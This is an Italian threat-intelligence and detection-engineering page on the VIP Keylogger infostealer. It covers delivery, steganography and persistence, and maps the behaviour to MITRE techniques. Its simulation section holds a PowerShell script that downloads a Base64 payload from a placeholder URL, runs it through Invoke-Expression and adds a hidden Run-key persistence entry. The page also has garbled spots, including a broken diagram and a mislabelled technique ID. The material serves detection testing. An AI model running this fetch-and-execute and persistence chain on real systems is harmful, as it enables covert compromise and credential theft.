VIP Keylogger e le sue Tattiche di Evasione Multi-Livello
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
VIP Keylogger è una minaccia modulare per il furto di informazioni distribuita tramite esche di phishing come avvisi di pagamento bancario falsi. La catena di infezione si basa su caricamenti dannosi basati su VBS, JavaScript e batch che utilizzano un’ampia offuscazione, la steganografia in immagini PNG e l’abuso di variabili d’ambiente per nascondere le fasi PowerShell prima di avviare il keylogger finale. Una volta attivo, il malware cattura credenziali, schermate, contenuti degli appunti e password Wi-Fi, poi esfiltra i dati attraverso più canali di comando e controllo. Gli sforzi di rilevamento dovrebbero concentrarsi sui cambiamenti sospetti nel registro, sui valori insoliti delle variabili d’ambiente e sulle transizioni anomale dall’esecuzione di script ai payload binari.
Indagine
Il team di ricerca sulle minacce di Splunk ha esaminato oltre 200 campioni di caricatore raccolti a marzo e aprile 2026, documentando i loro schemi di denominazione, le varianti dei caricatori e l’uso steganografico dei file PNG per la distribuzione dei payload. I ricercatori hanno riprodotto il processo di deoffuscazione, identificato l’abuso della INTERNAL_DB_CACHE variabile d’ambiente e tracciato la persistenza fino alla chiave di registro UserInitMprLogonScript . Il rapporto ha anche mappato ogni comportamento osservato alle tecniche MITRE ATT&CK rilevanti per supportare l’ingegneria del rilevamento.
Mitigazione
Le organizzazioni dovrebbero bloccare i primi tentativi di phishing attraverso controlli di sicurezza e-mail più forti e il filtro degli URL. I difensori dovrebbero monitorare la creazione e la modifica di valori HKCUEnvironment, in particolare voci sovradimensionate o uso della variabile. L’esecuzione di caricamenti basati su script da directory scrivibili dall’utente dovrebbe essere limitata, e il PowerShell Constrained Language Mode dovrebbe essere imposto dove possibile. Gli strumenti di sicurezza endpoint dovrebbero anche rilevare l’iniezione di processi in INTERNAL_DB_CACHE aspnet_compiler.exe aspnet_compiler.exe e le attività sospette di netsh .
Risposta
Se viene rilevato un indicatore di VIP Keylogger, isolare l’host interessato, raccogliere la memoria volatile e i log di esecuzione dei processi recenti, e cercare i noti artefatti del registro, gli URL di comando e controllo basati su PNG e i file rilasciati. Gli script dannosi dovrebbero essere rimossi, le credenziali esposte reimpostate, e una ricerca più ampia dovrebbe essere condotta nell’ambiente per artefatti di caricamento correlati e meccanismi di persistenza.
“graph TBn%% Class definitionsnclassDef action fill:#99ccffnclassDef technique fill:#ffcc99nclassDef operator fill:#ff9900nn%% Nodesninitial_access[“Action – T1566 Phishing
Malicious .vbs/.js/.bat delivered via email”] nclass initial_access actionnnexecution[“Action – T1059.005 Visual Basic, T1059.007 JavaScript, T1059.001 PowerShell
Script stagers executed on the host”] nclass execution actionnnobfuscation[“Action – T1027.016 Junk Code Insertion, T1027.003 Steganography, T1027.009 Embedded Payloads
Payloads hidden or disguised”] nclass obfuscation actionnnpersistence[“Action – T1574.007 Hijack Execution Flow via Registry Logon Script (UserInitMprLogonScript)
T1037.001 Boot Logon Init Script
Ensures code runs at logon”] nclass persistence actionnnpriv_esc[“Action – T1055.002 Process Injection PE, T1055.001 DLL Injection, T1620 Reflective Code Loading
Escalates privileges and evades defenses”] nclass priv_esc actionnncredential_access[“Action – T1555.003 Browser Data, T1056.001 Keylogging, T1115 Clipboard Hijacking
Collects user credentials”] nclass credential_access actionnndiscovery[“Action – T1596.005 External IP Discovery via public services
T1016.002 Wiu2011Fi Password Discovery
Gathers network information”] nclass discovery actionnncollection[“Action – T1113 Screen Capture
Collects visual data from the desktop”] nclass collection actionnnc2[“Action – T1071.001 Web Protocols and Telegram bot API
Provides remote command and control”] nclass c2 actionnndefense_evasion[“Action – T1070.004 File Deletion, T1070.010 Indicator Removal
Removes evidence after operation”] nclass defense_evasion actionnn%% Connections showing attack flowninitial_access –>|leads_to| executionnexecution –>|leads_to| obfuscationnobfuscation –>|leads_to| persistencenpersistence –>|leads_to| priv_escnpriv_esc –>|leads_to| credential_accessncredential_access –>|leads_to| discoveryndiscovery –>|leads_to| collectionncollection –>|leads_to| c2nc2 –>|leads_to| defense_evasionn”
Flusso di attacco
Rilevazioni
Tentativo di comunicazioni di ricerca dominio IP possibile (via dns)
Visualizza
Punti di persistenza possibili [ASEP – Software/NTUSER Hive] (via evento di registro)
Visualizza
La possibilità di esecuzione attraverso righe di comando PowerShell nascoste (via cmdline)
Visualizza
LOLBAS WScript / CScript (via process_creation)
Visualizza
Stringhe PowerShell sospette (via powershell)
Visualizza
Chiama metodi .NET sospetti da PowerShell (via powershell)
Visualizza
Possibile abuso di Telegram come canale di comando e controllo (via dns_query)
Visualizza
IOC (HashSha256) da rilevare: Dietro il codice: L’evasione di difesa stratificata di VIP Keylogger
Visualizza
Esecuzione VIP Keylogger PowerShell tramite variabile d’ambiente [Windows Powershell]
Visualizza
Persistenza VIP Keylogger tramite modifica del registro [Evento di Registro Windows]
Visualizza
Esecuzione della simulazione
Prerequisito: Il controllo pre-volo Telemetria & baseline deve essere superato.
Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrativa dell’attacco e comandi:
- Ricognizione iniziale – l’attore esegue
Get-ADDomain(T1016.002) per scoprire le relazioni di fiducia del dominio. - Acquisizione di payload – utilizzando
Invoke-WebRequest(T1071.001) l’attore scarica un DLL codificato in Base64 che implementa il keylogger (T1056.001). - Staging via variabile d’ambiente – la stringa scaricata viene memorizzata in una variabile d’ambiente a livello utente tramite
[Environment]::SetEnvironmentVariable. Questo passaggio soddisfa il focus della regola di rilevamento sulla manipolazione delle variabili d’ambiente. - Esecuzione dinamica – l’attore esegue immediatamente il payload con
Invoke-Expression $env:VIPPayload(T1059.001). Il keylogger inizia a catturare le sequenze di tasti, le schermate (T1113) e i dati degli appunti (T1115). - Pulizia – dopo aver stabilito la persistenza (es. creando una chiave Run, T1037.001), l’attore elimina il DLL temporaneo dal disco (T1070.004) e rimuove la variabile d’ambiente per ridurre l’impronta forense.
- Ricognizione iniziale – l’attore esegue
-
Script di test di regressione: Lo script seguente riproduce esattamente i passaggi e genera la telemetria che la regola Sigma si aspetta.
# Simulazione VIP Keylogger – PowerShell # ------------------------------------------------- # 1. Scarica un payload fittizio (stringa codificata in Base64) $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64" $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim() # 2. Memorizza il payload in una variabile d'ambiente a livello utente $envVarName = "VIPPayload" [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User") # 3. Decodifica ed esegue il payload tramite Invoke‑Expression $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload)) Invoke-Expression $decoded # 4. (Opzionale) Persisti tramite chiave Run – dimostra T1037.001 $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`"" # 5. Pulizia – rimuovere la variabile d'ambiente e la voce della chiave Run Start-Sleep -Seconds 30 # consenti il logging di alcune attività Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue [Environment]::SetEnvironmentVariable($envVarName, $null, "User") -
Comandi di Pulizia: Esegui questi comandi per riportare il sistema a uno stato iniziale dopo il test.
# Rimuovi la variabile d'ambiente creata per il test [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User") # Elimina la voce della chiave Run di persistenza se esiste $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue # Cancella eventuali voci residue della cronologia di PowerShell (opzionale) Clear-History